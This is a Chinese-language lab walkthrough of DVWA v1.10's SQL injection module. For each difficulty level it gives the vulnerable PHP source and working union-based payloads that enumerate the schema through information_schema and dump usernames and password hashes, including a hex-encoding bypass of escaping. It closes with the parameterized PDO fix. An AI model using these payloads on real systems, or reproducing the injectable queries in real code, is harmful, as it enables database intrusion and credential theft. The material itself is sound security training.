### Low:
漏洞代碼:
```
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
```
對前端傳遞進來的參數(shù)ID沒有做任何過濾和檢測,直接帶入sql代碼中進行查詢。
1、判斷注入是字符型還是數(shù)字型
輸入 1,正常返回查詢結(jié)果

使用數(shù)字型語句測試,
1 or 1=1;#

使用字符型語句測試,
1' or 1=1;#

由此判斷存在字符型注入
2、查詢列數(shù)
當(dāng)使用不存在的列數(shù)進行排序時會語法報錯,
1' order by 1;#

1' order by 2;#

1' order by 3;#

3、判斷字段顯示順序
1' union select 1,2;#

4、查詢當(dāng)前用戶與數(shù)據(jù)庫名
1' union select database(),current_user();#

得到數(shù)據(jù)庫名dvwa
5、查詢數(shù)據(jù)庫中的表
1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database();#

得到guestbook,users表
6、查詢users表中的字段名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users';#

7、爆破數(shù)據(jù)
1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users; #

### Medium
漏洞代碼:
```
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
```
```mysql_real_escape_string()```函數(shù)只對特殊符號x00,n,r,,’,”,x1a進行轉(zhuǎn)義,然后在前端用下拉列表限制用戶輸入,使用burp suite抓包修改即可繞過限制。
1、判斷注入是字符型還是數(shù)字型
使用字符型語句測試,
1' or 1=1;#


使用數(shù)字型語句測試,
1 or 1=1;#


由此判斷存在數(shù)字型注入
2、查詢列數(shù)
當(dāng)使用不存在的列數(shù)進行排序時會語法報錯,
1 order by 2;#

1 order by 3;#

order by 2時正常返回,等于3則語法報錯,說明存在2列。
3、判斷字段顯示順序
1 union select 1,2;#

4、查詢當(dāng)前用戶與數(shù)據(jù)庫名
1 union select database(),current_user();#

得到數(shù)據(jù)庫名dvwa
5、查詢數(shù)據(jù)庫中的表
1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database();#

得到guestbook,users表
6、查詢users表中的字段名
1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users';#

由于```mysql_real_escape_string()```函數(shù)對單引號 ' 進行了轉(zhuǎn)義,可以用16進制編碼繞過此處限制。
1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273;#

7、爆破數(shù)據(jù)
1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users; #

### High
漏洞代碼:
```
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
```
查詢語句獲取ID時,增加了單引號,所以這是個字符型注入,limit 1限制了只能查詢一個結(jié)果,這個用注釋#就可以繞過。
high級別與中低級別是一樣的,所以這里只演示最后的爆破數(shù)據(jù)結(jié)果:
1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users; #


### Impossible
漏洞代碼:
```
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
```
Impossible級別的程序使用了pdo實現(xiàn)數(shù)據(jù)代碼分離,而且針對查詢結(jié)果進行限制,只有1條時才會輸出,提高了一定的安全性。
參照:
[新手指南:DVWA-1.9全級別教程之SQL Injection](http://www.freebuf.com/articles/web/120747.html)
注:dvwa的漏洞網(wǎng)上已經(jīng)有一堆人在寫了,但是針對的都是舊版本,有些細節(jié)會有變化,本文使用最新版 DVWA v1.10重寫。